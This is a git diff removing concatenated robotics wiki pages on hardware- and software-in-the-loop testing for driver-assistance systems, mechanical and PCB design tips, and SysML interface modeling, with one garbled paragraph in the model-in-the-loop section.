fully autonomous vehicles, they demand sensing and computing technologies that are complex. For example, consider the sensing technology on the Tesla Model S, which combines information from eight cameras and 12 ultrasonic sensors as part of its autopilot technology. Many experts are claiming that the 2018 Audi A8 is the first car to hit Level 3 autonomous operation. At speeds up to 37 mph, the A8 will start, accelerate, steer and brake on roads with a central barrier without help from the driver. The car contains 12 ultrasonic sensors on the front, sides, and rear, four 360� cameras on the front, rear and side mirrors, a long-range radar and laser scanner at the front, a front camera at the top of the windscreen and a mid-range radar at each corner. -As a result, autonomous vehicles employ significantly more complex processing technologies and generate more data than ever before. As an example, the Tesla Model S contains 62 microprocessors � more the three times the number of moving parts in the vehicle. In addition, Intel recently estimated that tomorrow�s autonomous vehicles will produce four terabytes of data every second. Making sense of all this data is a significant challenge � and engineers have experimented with everything from simple PID loops to deep neural networks to improve autonomous navigation. -This is the reason why we need Hardware-in-Loop and Software-in-Loop Testing and the importance of this has increased its importance more - - -Increasingly complex ADAS technology makes a lot of demands on test regimes. In particular, hardware-in-the-loop test methods, long used in developing engine and vehicle dynamics controllers, are being adapted to ADAS setups. -Hardware-in-the-loop testing offers a few important advantages over live road testing. Most notably, a HIL setup can help you understand how hardware will perform in the real world, without having to take it outdoors. -- By testing in the lab rather than on public highways, AV manufacturers can: -- Accelerate testing and reduce costs - millions of miles of testing can be done in a shorter space of time in a lab -- Avoid complex laws and regulations around public autonomous vehicle testing -- Assess different hardware and sensor configurations earlier in the development process -- Build a repeatable test process -- Test weather or time-dependent edge cases at any time - - -## Hardware-in-Loop - -HIL test systems use mathematical representations of dynamic systems which react with the embedded systems being tested. An HIL simulation may emulate the electrical behavior of sensors and actuators and send these signals to the vehicle electronic control module (ECM). Likewise, an ADAS HIL simulation may use real sensors to stimulate an emulation of the ECM and generate actuator control signals. -For example, a HIL simulation platform for the development of automotive anti-lock braking systems may have mathematical representations for subsystems that include the vehicle dynamics such as suspension, wheels, tires, roll, pitch and yaw; the dynamics of the brake system�s hydraulic components; and road qualities. -A point to note is that the in-the-loop notation means the reaction of the unit being tested influences the simulation. HIL methods verify and validate the software in the physical target ECUs. So HIL test benches must provide the ECU with realistic real-time stimuli and simulated loads. Multiple ECUs get tested in network HIL setups that wring out the bus systems, sensors, and actuators. -More recently, vehicle-in-the-loop methods use a physical car to replace vehicle simulations and most of the virtual ECUs. This approach comes in handy for testing safety critical ADAS functions by, say, crashing into virtual obstacles while operating the real vehicle. -The way an ADAS typically works is that it first processes the raw sensor data via feature and object recognition algorithms. The result is a data set that resembles a grid-based map of the environment or a list of recognized objects (such as trees, pedestrians, vehicles, and so forth). A situation analysis algorithm combines this processed data and estimates the current traffic situation. This situational analysis gets forwarded to the ADAS application. The application finally decides on actions to take such as slowing down or triggering an emergency brake. -Many HIL tests of ADAS functions boil down to sending simulated object lists to the UUT (unit under test). Depending on the sensor systems involved, the object lists may include information about object kinematics as well as whether the object is a pedestrian, vehicle, or something else. - -Besides actual sensor data, the ADAS application needs supplementary vehicle data from other ECUs. This information usually passes to the UUT via the CAN bus and generally includes details like gear rate, acceleration, engine speed, steering angle, or GPS data. All ADAS require at least some of this information to check the plausibility of the situation analysis. The ADAS makes safety-critical interventions only if all this information is consistent. -When testing ADAS functions within HIL regimes, there can be a variety of UUTs and interfaces. For example, a single ECU might be tested while it runs core emergency functions such as a radar-based emergency brake-assist. Or a dedicated ADAS ECU might receive sensor information from other control units. Depending on the setup, multiple real ECUs may be part of the test bench and connected via automotive network systems like CAN, FlexRay, or Automotive Ethernet. -In an HIL test bench there can be several points at which virtual data is added. One option is feeding simulated data to physical sensors. Of course, real ADAS have multiple sensors so this strategy entails simultaneous generation of multiple signals. In the case of cameras, for example, engineers might show each camera a sequence of images of actual scenery via a screen or projector. For radar returns, the HIL system needn�t generate the radar output, just simulated echoes coming back. -One advantage of using physical sensors in HIL testing is that there�s no need to modify the UUT for testing purposes � the simulated signals come via the same physical interfaces as found in real vehicles. Among the biggest challenges is assuring the quality of the injected signals. For example, images projected on a screen might not represent the dynamic range a camera would see in real life. The classic example is that of a car driving straight into a blazing sunset, then descending a hill and plunged into dusk. All in all, the injection of data into a physical sensor involves few modifications of the UUT, but the accurate representation of scenarios can be quite demanding and not currently possible for all sensors. -A typical test configuration for an ADAS HIL simulation depicts the different methods of simulating sensor data. Test equipment can inject digital data into the sensor channel to simulate sensor inputs. Alternatively, test equipment can develop sensor inputs in the form of images for cameras or echo patterns for radars to simulate actual sensed data. There are advantages and drawbacks to each approach. - -There is also need to look into the latency issue of the HIL and Data communication. Having low latency HIL system is important especially in ADAS as car safety is very critical and speed testing is important. More details of this particular topic can be found at [here](https://www.spirent.com/blogs/how-to-create-a-realistic-low-latency-hil-environment-for-autonomous-vehicle-testing/) - -## Platform based Hardware-in-Loop - -Manufacturers such as National Instruments offer a platform-based approach to HIL testing. Key features of NI�s HIL test approach include a tight synchronization among numerous PXI instruments to enable simulations of driving scenarios and sensors. Particularly important in ADAS and autonomous driving applications is NI�s FPGA technology. FPGA technology enables engineers to design HIL test systems with extremely fast loop rates for quick decision making. -One recent example of an HIL test system using the platform-based approach to sensor fusion testing was demonstrated by a consortium called [ADAS Innovations] (https://www.spirent.com/blogs/how-to-create-a-realistic-low-latency-hil-environment-for-autonomous-vehicle-testing/) in Test. This group is a collaboration between NI alliance partners S.E.T., Konrad Technologies, measX, and S.E.A. At the recent NIWeek conference, the group demonstrated an ADAS test setup which can synchronously simulate radar, lidar, communications, and camera signals for an ADAS sensor. In one case, the setup was able to simulate a virtual test drive using IPG CarMaker and NI VeriStand software. -Modular systems such as PXI simulate many vehicular physical signals � effectively recreating the physical environment of the ADAS sensor or ECU. Synchronization is a critical requirement of the PXI modules � because all these signals must be precisely simulated in parallel. The ECU needs the radar, V2X and camera signal to arrive simultaneously if it is to process and understand the scenario and act accordingly. - -HIL test techniques based on a platform let engineers simulate a virtually unlimited duration of �driving time.� The lengthy test time provides more opportunities for finding problems and lets engineers better understand how the embedded software performs in a wide range of situations. -As a result of simulating driving conditions in the lab, engineers can identify critical design flaws much earlier in the design process. - -Other than Hardware-in-Loop Testing, there are few other types of testing techniques as well. I will brief them below: - -### Model-in-the-Loop (MIL) simulation or Model-Based Testing: - -Hardware-in-the-loop (HIL) simulations have been terms of motion, force, strain, etc. used successfully for a number of years. These have evolved from pure computer simulations of a con in which the test specimen is part real and part troller and plant, such that (usually) the controller is run in real-time and used to control the real plant, making use of the correct actuators and sensors. The model-in-the-loop concept in that the real-time simulation is part of the mechanical system, not of a controller. Only the key component with unknown dynamics real-time simulation in a MiL system interfaces with need be physically tested, reducing the cost and the rest of the system using actuators and sensors complexity of the physical test apparatus. that would not otherwise be present; - -Model-in-Loop testing, also called MiL testing or model testing, is the testing of single or integrated modules in a [model-based development environment] (https://piketec.com/tpt/test-environments/simulink-targetlink-testing/), such as MATLAB Simulink from Mathworks or [ASCET from ETAS] (https://www.etas.com/en/company/ascet-model-based-development-of-application-software-mastering-in-real-time.php/). - -When developing a system, a model-based design (MBD) allows early identification and correction of errors and bugs because the models can be simulated easily in a very early design phase. Due to its early development stage, testing iterations (�loops�) can be finalized much faster than in longer (later) development stages. This approach is therefore a cost-efficient way to reduce development time significantly. Additionally, the graphical approach of programming is intuitive and loved by engineers. -Model-in-Loop testing is also related to unit testing, while the units under test are �model units�. -The MBD approach, and thus MiL testing, is commonly used in the automotive industry. Development processes used in MBD can be fully compliant with safety norms such as e.g. ISO26262 or IEC61508. These norms usually require MiL testing in early design phases. -The test level following MiL testing is Software-in-Loop testing (SiL testing) using software that is generated, oftentimes automatically, directly from the models, or written manually in C-code. For this test level, auto code generation is used. Common C-code generators for Simulink models are dSpace TargetLink or Mathworks Embedded Coder. - -See how Mathworks products facilitate model-based testing: https://www.mathworks.com/discovery/model-based-testing.html - -### Software-in-the-Loop (SIL) simulation - -Once your model has been verified in MIL simulation, the next stage is Software-in-Loop(SIL), where you generate code only from the controller model and replace the controller block with this code. Then run the simulation with the Controller block (which contains the C code) and the Plant, which is still the software model (similar to the first step). This step will give you an idea of whether your control logic i.e., the Controller model can be converted to code and if it is hardware implementable. You should log the input-output here and match it with what you have achieved in the previous step. If you experience a huge difference in them, you may have to go back to MIL and make necessary changes and then repeat steps 1 and 2. If you have a model which has been tested for SIL and the performance is acceptable you can move forward to the next step. Once both MiL and SiL testing phases are done, the individual test results can be tested �back-to-back�. Back-to-back testing is used for the comparison of test results between MiL and SiL testing. -See how to run SIL simulations using Embedded Coder: - -### Processor-in-the-Loop (PIL) or FPGA-in-the-Loop (FIL) simulation - -The next step is Processor-in-the-Loop (PIL) testing. In this step, we will put the Controller model onto an embedded processor and run a closed-loop simulation with the simulated Plant. So, we will replace the Controller Subsystem with a PIL block which will have the Controller code running on the hardware. This step will help you identify if the processor is capable of running the developed Control logic. If there are glitches, then go back to your code, SIL or MIL, and rectify them. -See how to run PIL simulations using Embedded Coder: - -https://www.mathworks.com/help/ecoder/processor-in-the-loop.html - -In the case of running the simulation on an FPGA instead of an embedded processor, the simulation is called FPGA-in-the-Loop (FIL). See how to run FIL simulations using HDL Verifier - -https://www.mathworks.com/help/hdlverifier/ug/fpga-in-the-loop-fil-simulation.html - - - -## In-Loop Testing and V-Loop Model - - -The V model is frequently used in the automotive industry to depict the relationships of vehicle-in-the-loop, hardware-in-the-loop, software-in-the-loop, and model-in-the-loop methods. Stages depicted on the left have a corresponding testing counterpart on the right. MiL settings test a model of the functions to be developed. MiL is applied in early stages to verify basic decisions about architecture and design. SiL setups test the functions of the program code complied for the target ECU but without including real hardware. HiL methods verify and validate the software in the physical target ECUs. ViL tests replace the vehicle simulation and most of the virtual ECUs with a real vehicle. The simulated parts of the environment are injected into the vehicle sensors or ECUs. - -Advanced systems like autonomous vehicles are quickly rewriting the rules for how test and measurement equipment vendors must design instrumentation. In the past, test software was merely a mechanism to communicate a measurement result or measure a voltage. Going forward, test software is the technology that allows engineers to construct increasingly complex measurement systems capable of characterizing everything from the simplest RF component to comprehensive autonomous vehicle simulation. As a result, software remains a key investment area for test equipment vendors � and the ability to differentiate products with software will ultimately define the winners and losers in the industry. - -## Summary - -The given article describes in detail what is in-loop testing with specific focus on ADAS as usecase. The importance and relevance of in-loop testing with V-model in systems engineering is also highlighted in the given model. - - -## See Also: - -[Subsystem Interface Modeling](https://github.com/shahrathin/roboticsknowledgebase.github.io/blob/master/wiki/system-design-development/subsystem-interface-modeling.md) - - -## Further Reading - -[Loop Testing](https://www.guru99.com/loop-testing.html) - - - -## References - -[Hardware-in-the-loop simulation](https://en.wikipedia.org/wiki/Hardware-in-the-loop_simulation) - - -/wiki/system-design-development/mechanical-design/ ---- -date: 2017-08-15 -title: Mechanical Design ---- -This section will provide you some of the design criteria’s and consideration you should keep in mind when developing a mechanical system: -- If possible, develop a mathematical model before ordering parts and prototyping. This will help you determine whether the values you have in mind are suitable enough or not. -- Develop a detailed CAD model of your product early. A visual representation helps in determining shortcomings of the model and allows optimization. -- If your system will experience load, it is always helpful to do a quick simulation to determine the stresses in the system. This helps you determine whether your system will able to sustain the loads applied on it and help you optimize the design. It also helps you to remove redundancies which are taking up space or increasing the weight of the system. -- Some of the mechanism that are commonly used are Lead Screw, Rack and Pinion, One Way Clutch, Belt drive, pulley drive, Gear Reduction for higher torque, solenoid actuation for push-pull, Crank and Slider mechanism and extendable linkages. -- Base your design as much as possible on already available parts instead of engineering yourself. This reduces the human error possible and allows you to concentrate on other aspects of design. -- Always keep a high factor of safety in you design, be it mechanical components, motor selection or sensor accuracy. This helps in reusability of material if you make changes in your design. -- Modular design helps a lot when you encounter failure. If you have a failure in a small part of your system, instead of replacing the whole system and rebuilding it, you can just remove that section. This saves time and money. -- Be ready to reiterate the design. It happens that you build a product and it fails in some aspects. You then try to make that design work by making modification to it over and over again. At one point, the design will get saturated and you will never achieve the expected output. It is important to decide early in the development stage that the design will perform as expected or not. If not, reiterate the design and develop the system from a different perspective. It is a lot of work in the beginning but will prove helpful in the long run. -- Try developing simple systems and mechanical designs for your product. The more complex the design gets the chances of failure increases. Number of components and inter-dependencies between them plays an important role in making the design robust. Minimum number of components and as many independent systems as possible help in improving the reliability and robustness of the system. - - -/wiki/system-design-development/pcb-design/ ---- -date: 2017-08-15 -title: PCB Design Notes ---- -## Software Tools -- [Eagle CAD](http://www.cadsoftusa.com/download-eagle/freeware/?language=en) - Freemium CAD software package - - Free version limited to 4" X 3.2" board sizes w/ two layers - - [CAD Soft Tutorials](https://www.cadsoftusa.com/training/tutorials/) - - [Spark Fun Tutorials](https://www.sparkfun.com/tutorials/108) -- [GerbMerge](http://ruggedcircuits.com/gerbmerge) - Free Python program for panellizing generated PCBs - - [Ubuntu install instructions](http://eliaselectronics.com/installing-gerbmerge-on-ubuntu/) - - [GerbMerge Tutorial](http://pauljmac.com/projects/index.php/Gerbmerge) -- [Atlium Circuitmaker](https://circuitmaker.com/) - Alternative to Eagle CAD currently in Open Beta - -## Vendors -### Search Engines -- [FindChips](http://www.findchips.com/) -- [Octopart](http://octopart.com/) - -### Discrete components Suppliers -- [Mouser](http://www.mouser.com/) -- [Digi-Key](http://www.digikey.com/) - -### DIY breakouts and other components -- [Adafruit Industries](http://www.adafruit.com/) -- [Sparkfun](https://www.sparkfun.com/) -- [Pololu](http://www.pololu.com/) - -### PCB Fabrication Houses -- [OSH Park](http://oshpark.com/): FOSS Hardware community service -- [Advanced Circuits](http://www.4pcb.com/): Recommended by CMU Gadgetry - - [33 Each Service](http://www.4pcb.com/33-each-pcbs/): Great for small batches of panellized boards - - -## Design Guidelines -### General Guidelines -#### Schematics -- Before designing a schematic have a clear idea of what are your system requirements. Discuss it thoroughly with your team members. -- You should be aware of the power ratings, current ratings each component requires. This will help in selecting the components. -- Label the schematic such that it makes sense as per your requirement. For example: - - A connector for 5V relay that will be used for paint system can be named as "5relayPaint."" This will help later on to debug. -- Select the right package that you are going to use for all the components (TH,SMD). -- Ensure proper protection circuitry for all the critical paths and components (as shown in **Figure 2**). For example: - - Fuses for overcurrent protection, zener­diodes for over voltage protection, capacitors -(electrolytic and non­electrolytic) for noise­reduction. -- It is important to have proper LED indication on the PCB (as shown in **Figure 1** and **Figure 2**) for testing and accountability. Use LED indicators to ensure proper functioning of the board. - -![LED indication in schematic with noise reduction cap](/assets/images/system-design-development/PCBDesignNotes-8fedc.png) - -**Figure 1: LED indication in schematic with noise reduction cap** - -![Labeled Fuse and Zener­diode for Protection](/assets/images/system-design-development/PCBDesignNotes-09baf.png) - -**Figure 2: Labeled Fuse and Zener­diode for Protection** - -- You can add additional comments on schematic as shown in **Figure 3**, this helps to put information related to board which is otherwise not explicit from the schematic. - -![Schematic with comments](/assets/images/system-design-development/PCBDesignNotes-d5ba2.png) - -**Figure 3: Schematic with comments** - -#### Track Width -The heat generated by the IC and various other components is transferred from the device to the copper layers of the PCB. The ideal thermal design will result in the entire board being the same temperature. The copper thickness, number of layers, continuity of thermal paths, and board area will have a direct impact on the operating temperature of components. Track width is an important factor to maintain thermal stability. -Track width for both and POWER and GROUND lines should be sufficiently thick to be able to carry the estimated current to prevent heat damage. A web tool to calculate the appropriate width can be found [here](http://circuitcalculator.com/wordpress/2006/01/31/pcb­trace­width­calculator/). Use a 1 oz/ft^2 thickness. This is the thickness value most PCB manufacturer use. -Your board can look like what has been shown below in **Figure 4.** It can have variable track widths depending on the requirements. Also, avoid 90 degree turns while laying down traces. - -#### Drill Size -As you get your board design ready, please keep in mind that you want to have some clearance between the hole and the component's terminal lead for the solder to fill up. If your component has a 20mil round lead, don't specify a 20mil hole diameter. In addition to needing a gap, keep in mind that as part of the PCB -manufacturing process, some metal is going to be deposited inside each hole. This reduces the diameter of the hole, making it smaller than it was when it was drilled. As a rule of thumb, add 8­12mils to the nominal round lead diameter, and round up if you need to match the diameter to a particular drill size list. Keep in mind that a bit bigger is better than too small; you don't want to find yourself filing a lead that is too big (you -cannot make the hole bigger, because it would remove the through­hole metal). Double­check and make sure that none of the holes is smaller than 0.015” diameter, and that neither tracks nor clearances between tracks/pads/planes are smaller than 0.006”. - -![Variable Track Width](/assets/images/system-design-development/PCBDesignNotes-05e85.png) - -**Figure 4: Variable Track Width** - -#### Structural Stability -For proper structural support place proper mounting holes on all the sides. -#### Package -Custom package designing can be the most critical part. If there are components for which custom library needs to be generated, few things need to be kept in mind. The package layout as per the supplier datasheet can be in BOTTOM view and not TOP view. It is important to take care of the top/bottom view when you create a layout in PCB designing software. If the package was created in bottom view, and if you place it on the TOP layer of PCB, make sure it is mirrored. If this issue was not considered, you might -render the PCB board useless if the pins of the component are asymmetrical. A few things to try if you're running out of space -- Use both sides of the board to place components. Some (or all) of the SMD components can go in the bottom layer, while the through­hole ones can be placed in the top layer. Some of the SMD can be mounted on the opposite side of bulky things, like DC­DC converters, to save space (unless these converters need a ground plane directly underneath it). -- Components like through­hole diodes and resistors can be placed vertically instead of horizontally. Though not the best choice, this helps if space is limited. Just make sure to cover the long terminal with some tubing or extra protection when you solder it. -- Try to find a different type of connector that is more compact, like a terminal block, to concentrate all the connections in a single connector (but not a terminal block per se, but something that saves the need for individual fasteners per connector). - -#### PCB Manufacturing -The PCB’s documents should include the hardware dimensional drawings, schematic, BOM, layout file, component placement file, assembly drawings and instructions, and Gerber file set. User guides also are useful but aren’t required. The Gerber file set is PCB jargon for the output files of the layout that are used by PCB manufacturers to create the PCB. A complete set of Gerber files includes output files generated from the board layout file: -- Silkscreen top and bottom -- Solder mask top and bottom -- All metal layers -- Paste mask top and bottom -- Assembly drawing top and bottom -- Drill file -- Drill legend -- FAB outline (dimensions, special features) -- Netlist file -- [Video](http://www.youtube.com/watch?v=B_SbQeF83XU) covering how to create gerber files for manufacturing. - -#### Minimize manufacturing cost -In general once you create all your gerber files, you can print them on paper before sending them for -manufacturing. This will help to: -- Check whether all your drill holes look alright -- Whether track widths are perfect -- Text is readable -- All your components and their packages are on appropriate layer - -#### Other Recommendations -- Check trace widths with [PCB Trace-Width Calculator](http://www.circuitcalculator.com/wordpress/2006/01/31/pcb-trace-width-calculator/) -- Design with 1oz Copper and +25 C max in mind -- Use straight & 45 degree runs, no curvy stuff, no right angles! -- 50mil (.05in, ~1.27mm) pin spacing is reasonable for hand soldering (20mils is way to small) - -### Surface Mount Package Selection Guide -#### Discrete Components (RCL) -- 1206 is easiest to solder and takes most board space -- 1210 is slightly wider (usually used for capacitors), and so on -- 0603 is half as big in each dimension (very difficult to hand solder anything this size or smaller) - -#### Semiconductors -- Diodes – SMA, SMB, SMC -- SOT223 is a good-sized SMT regulator -- TQFP, SOIC are usually good for ICs -- NO QFN, LC*, or BGA PACKAGES! (very bad for hand assembly) - -## EAGLE Board Export Process -### Gerber files -1. Click the CAM Processor button -2. Export Layers - 1. Go to file->open job - 2. Select gerb274x - 3. Hit “Process Job” -3. Export Drill files - 1. Go to file->open job - 2. Select excellon - 3. Hit “Process Job” -4. Verify generated files - 1. [FreeDFM](http://www.freedfm.com/) - Associated with 4pcb - 2. [OSH Park](http://oshpark.com/) - FOSS Hardware community service -###Bill of Materials -1. In Eagle: File -> Export -> -2. Choose 'CSV' for the format, rename and save the file -3. Open the spreadsheet, add Supplier Part #s and links. - - -PCB Panelization - - Methods of PCB Panelization - - -/wiki/system-design-development/subsystem-interface-modeling/ ---- -date: 2017-08-15 -title: System-Subsystem-Interface Modeling ---- -A useful tool in system engineering is the system model, which can drive development, requirements generation, design, and just about anything else to do with your project. While the WBS, schedule, and other tools are good for their particular area, the system model has the potential to be useful in replacing all your other planning methods, becoming the one-stop source for information about your project. - -The system model language SysML was first developed by No Magic - though the framework is somewhat older - for project management and was quickly adapted for use in the Department of Defense, NASA, and other government bodies. The full framework is quite extensive, covering every possible level of system engineering from the highest goal oriented concept to the most basic layers like what data types are used and what interfaces carry them. The system model is a key part of the functionality of Rational Rhapsody, which uses the system model as built to generate code for programs the system runs. The a good set of resources can be found [here](https://www.nomagic.com/support/quick-reference-guides.html). A quick glance makes it obvious that most roboticists doe not need most of the views and charts, but some are useful and we will go over them in the following sections. - -## Hierarchy -The most important aspect of system modeling tools is the hierarchy. The highest level is usually the requirement - or even the rationale behind the requirement - and each of these should have a separate diagram which itself is made up of blocks, capabilities, activities, information flows, etc which all expand into further diagrams until you reach the lowest operating level of a system. This way you can go up and down the conceptual flow to find out how every part of your development supports a requirement on the system. - -### Operational View -One of the most useful views is the operational. In practice, you will rarely go below level 2, it being the meat of the view type for our purposes. It can generally be combined with the concept of the activity diagram which you can find in the overview of SysML. - -#### Level 1 -In this level, one can usually put the Use Case. While technically it belongs in the Capability View or All View, since we're otherwise not using CVs (unless you start modeling at the very beginning and use the CV for requirements). In the Use Case, put the Actors (the user, obviously, and the highest level subsystems you'd normally see in a WBS), and then what information flows between them. This would be the highest level information packet containing all other information flow we see on the level 2 Activity Diagrams. -![SIDD colorless OV 1](/assets/images/system-design-development/SubsystemInterfaceModeling-8748c.png) - -#### Level 2 -This is the meat of the Interface Design Description, where you can flow out all the things the system might do. Rather than go into a lot of operational or capability viewpoints, go straight into activity diagrams since the system is relatively small. Each box at the first indenture of level 2. - ->Use "indentures" of activity diagrams since the other "levels" of OV are technically something else, signified by letters like OV-2b or OV-2c) is a high level activity (see below for the highest level view of MRSD 2015 "Dock In Piece" project). - -![SIDD colorless OV 2 Dock Quadcopter](/assets/images/system-design-development/SubsystemInterfaceModeling-fb765.png) - -As you can see from this chart, the highest level activities of docking the quadcopter are things like 'take off' and 'rendezvous with docking face', which have lines between to signify the temporal flow, and labels to signify what information needs to pass in order to make it happen. Most important are the labels which cross swimlanes, because that's information that will have to be packaged and sent from one subsystem to another. At this level the swimlanes are the actors and high level subsystems, but if we go a level down, we see subsystems within subsystems (the system-of-systems concept made manifest). - -![SIDD-colorless-OV-2b Rendezvous with Docking Face](/assets/images/system-design-development/SubsystemInterfaceModeling-4e816.png) - -The first three swimlanes from the left are subsystems of the quadcopter while the final is crossing to/from the Palantir. - -![SIDD-colorless-OV-2a Determine Docking Possibility](/assets/images/system-design-development/SubsystemInterfaceModeling-8e94f.png) - -Here all four swimlanes are different subsystems (though the Palantir is technically part of the dock, it is quite separate physically and informationally), but support the higher level activity of docking) - - -#### Level 3 -OV-2c is where intrasystem activities show up in the architecture. This indenture shows information flowing and activities that occur entirely on one system, sometimes with a single information flow leaving the internal swimlanes to some external box or all flowing to a single box which has the same name as a box in an indenture above, signifying what information and actions flow inside a system to make that one action occur - similar how how an OV-2b is often the expanded version of a single box in the OV-2a indenture. We cancelled all of our OV-2c diagrams early on and by the time the new system was finalized, we didn't have time to model, but this is what it looked like when we had the quadcopter doing localization with an onboard camera. - -![SIDD-colorless-CANCELED OV-2c Localize Quadcopter](/assets/images/system-design-development/SubsystemInterfaceModeling-73d8e.png) - -All swimlanes are of systems internal to the quadcopter subsystem, and eventually flow out to it keeping a fixed hover point. - -## Capability View -If you were modeling from the very beginning, capability and to some extent activity view would be very useful for requirements traceability. The capability view shows the very highest level capability and then breaks that down through indentures of what other capabilities it would need and what activities support that. You can see it as being sort of the structure behind the activity diagrams with the various blocks and diagrams all being activities but rather than relating to each other through time and information flow they relate by what capability they support and what higher level activity they feed. Since the MRSD project is somewhat rushed, it is unlikely you'll use either view, but it is valuable to think about. For instance, each functional requirement should be a capability, what the system can do. From there, you can flow down activities it would have to perform to have those capabilities and then activity diagrams to show the flow of information. CV and AV diagrams are very useful in keeping the team focused on requirements and doing what needs to be done. - -### Data and Information View -You can always dive straight into DIV-2 rather than DIV-1, but if you start early with modeling a DIV-1 is useful. We'll cover the second level here. Each line in the activity diagram had a name (or should have). That was a data flow, and these data flows naturally have information. In the DIV-2, you show what this information is. - -![SIDD-colorless-DIV-2 DockMotionDetails](/assets/images/system-design-development/SubsystemInterfaceModeling-7097d.png) - -It may seem trivial at first, but these views show not just information, but their type, names, and what larger information boxes they flow into. This can make integration much easier as everyone knows what every subsystem needs from every other subsystem and if the naming conventions are kept to, there is no confusion in how to get that information. - -The flow up of these arrows show that the lower boxes become part of larger information packages sent along data flows at higher levels. In the above case, the multiple arrow means that more than one of these dockMotionFrequencyDomain objects may be included in the DockMotionDetail object/package. Interface design is much easier when the designer knows what information will flow through. Ideally one defines the name, type, and flow of every variable that crosses a boundary, subsystem to subsystem or even internally between functions. - -## Sequence Diagram -There is software that will even turn these diagrams into functional code. In industry, it's becoming a practice in some companies to complete these models and then build the system they show. While it doesn't mean you can go without testing, it does mean that with a full system model, you can be confident that you're satisfying requirements and minimizing the difficulty of integrating many subsystems into a system of systems. Most of these rely on sequence diagrams, which are the activity diagrams given a strict temporal progression. This system sends this data to this system which does this and outputs something else to another system or the user. - -## Summary -Some brief thoughts on the other views -- All View - - Useful in a very large framework to track the other views, mission, vision, and other very high abstraction concepts. Of little use until you can call yourself an enterprise rather than a business. -- OV - 1 -- This is actually extremely useful in helping to identify stakeholders and how they affect business and development. Highly recommended for any development project with more than one working group contributing to the life cycle within a business. -- OV - 2 (the first kind) - - If you've done an OV-1, you'll want this to clarify all the things sketched out one level above. -- OV - 2 (the second kind) - - Covered. -- OV - 3 - - When you're big enough for an AV, you'll need this one. Also useful if you have multiple working groups and want extremely clear communication of who is doing what. -- OV - 4 (first) - - Within working groups, invaluable to making sure that everyone knows their role, who to ask for help, and who knows how to do what. Doubles as a handy lookup chart when its time to do performance reviews. -- OV - 4 (second) - - Same as above, but now you've turned it into an Organization chart. Large companies would find it helpful. Startups, probably not. -- OV - 5a - - If you really need to show how everything is done (maybe you want to be ISO certified), then this is a great way to do it. -- OV - 5b - - One level down, shows how you do all the things you related in 5a. Again, if you have a process and need to codify it for ISO or the like, this is where it happens. -- OV - 6a - Only looks useful if you have an organization contracting with the government (or if you are the government). -- OV - 6b - - High level schedule. -- OV - 6c - - Digging deeper into what makes one item in the schedule move on to the next. -- CV - 1 - - Capability view so high that it's looking at organizational capability rather than product capability. Useful if your entire company is being represented and run through modeling. -- CV - 2 through 4 - - Digging deeper. It is also recommended using CVs for product capabilities as well as enterprise (and in fact, that's more useful at least at the start). -- CV - 5 through 7 - - Relating capabilities to other views, so that you can see how they support and relate to your activities, services, and organizational development. -- PV - 1 (first) - - Generalizes how your organizations' projects will flow. Project View isn't useful until you're enterprise level and have many projects running in tandem and need a metric by which to compare them -- PV - 1 (second) - - More of the same. -- PV - 2 - - Shows how each project in the enterprise is progressing. -- PV - 3 - - What internal groups are assigned to what projects. -- DIV - 1 - - Defining what information you work with. Useful if you have some types of information (like standardized lists or blocks) that get used frequently. -- DIV - 2 - - Lower level, showing exact fields and types like String, Int and other objects. -- DIV - 3 - - Structure of the data. Used if you're building something with a really serious database. -- StdV - 1 - - What standards apply to each system and subsystem -- StdV - 2 - - How you think the standards will change in the operational lifetime of the system. -- SV - 1 - - This is what we would have used if we hadn't simplified things a lot by just using internal capabilities and activities. The high level functionality of an individual system. -- SV - 2 - - Digging down, how each subsystem communicates with other subsystems. -- SV - 3 - - Shared resources and which subsystems need them. -- SV - 4a - - What you need to do to make each part of the system work (ie. activities carried out to support the development of each subsystem). -- SV - 4b - - Similar to a cyberphysical architecture, relating your functions to physical subsystems and how the information flows between them. -- SV - 5 - - Relates SV-4 to OV-5, so pretty much more of the same as OV-5 in that if you need a really solid definition of your process you can use this. The idea being that each activity necessary to implement a system should have an operational action associated with it. Only of use to a company that is not at all interested in being agile but instead needs to document everything they do. -- SV - 6 - - For proving that yes, you did do something and so it was someone else's fault when it went wrong. -- SV - 7 (first) - - Skip SV 5 and 6, SV 7 is what you want for tracking things. It's really handy for test plans and making sure you've met your performance goals. Defines every measure of effectiveness, what kind of measure it is, and the threshold. -- SV - 7 (second) - - The results from testing measurements codified in the other SV - 7. -- SV - 8 - - Shows a brief description of each version of a system developed. One thing this structure doesn't replace is configuration control and you're probably better off either linking this to your control somehow or just not doing it. -- SV - 9 - - Forecasts of technology and skills so you can get ready to implement capabilities you can't implement now. Good for keeping track of developing technology so that ideas for improvement don't get lost. -- SV - 10a - - List of constraints on a system. Sort of all the requirements you're not really supposed to have because they implement a negative (system shall not do this). -- SV - 10b - - A copy of OV-6b but specific to a system. -- SV - 10c - - Same as above only for OV-6c. If you haven't got a lot of systems, don't bother with OV-6, just do these. - -Some more high level information can be found [here](http://www.omgwiki.org/UPDMAlpha/lib/exe/fetch.php?media=doc:overview_of_updm_for_systems_engineers_dodaf_and_omg_graham_bleakley_21_march_2013.pdf). IBM is the publisher of Rational Rhapsody, one of the most popular pieces of modeling software which allows for these diagrams to be turned into code. The other big name in system modeling is No Magic, linked at the start of the page. There is also a lot more to SysML, including the modeling of constraints, personnel, equipment, and everything else that goes into the development and running of a system. A full system model is an enormously useful tool which incorporates all the best aspects of a WBS, schedule, design document, budget, equipment list, styleguide, and requirements spec. When combined with a tool like DOORS (a requirements management database), a system model can be the central repository and generator of all project planning data. diff --git a/wiki/tools/__all_subsections.md b/wiki/tools/__all_subsections.md deleted file mode 100644 index 495ea4c9..00000000 --- a/wiki/tools/__all_subsections.md +++ /dev/null @@ -1,2354 +0,0 @@ -/wiki/tools/altium-circuitmaker/ ---- -date: 2017-08-15 -title: Altium Circuit Maker ---- -Altium Circuitmaker is a Community Driven PCB Design Application. Circuitmaker can be downloaded [here](http://www.circuitmaker.com). It requires a user account since most of its features are cloud-based. - -## Strengths and Weaknesses -### Benefits -1. Cloud based part library drawn from the Octopart database - - ![Library Menu](/assets/images/tools/AltiumCircuitmaker-8aecd.png) -2. Friendlier UI - - This is strictly a comparison to EagleCAD. Eagle's UI is a more involved style, which lets the user get deeper into things, but is also not nearly as easy for the casual or new user, or for someone in a hurry. - - ![Part Info Window](/assets/images/tools/AltiumCircuitmaker-78555.png) -3. Can output STEP files and view the part in 3D in Circuitmaker - - ![3D View](/assets/images/tools/AltiumCircuitmaker-fcf01.png) -4. 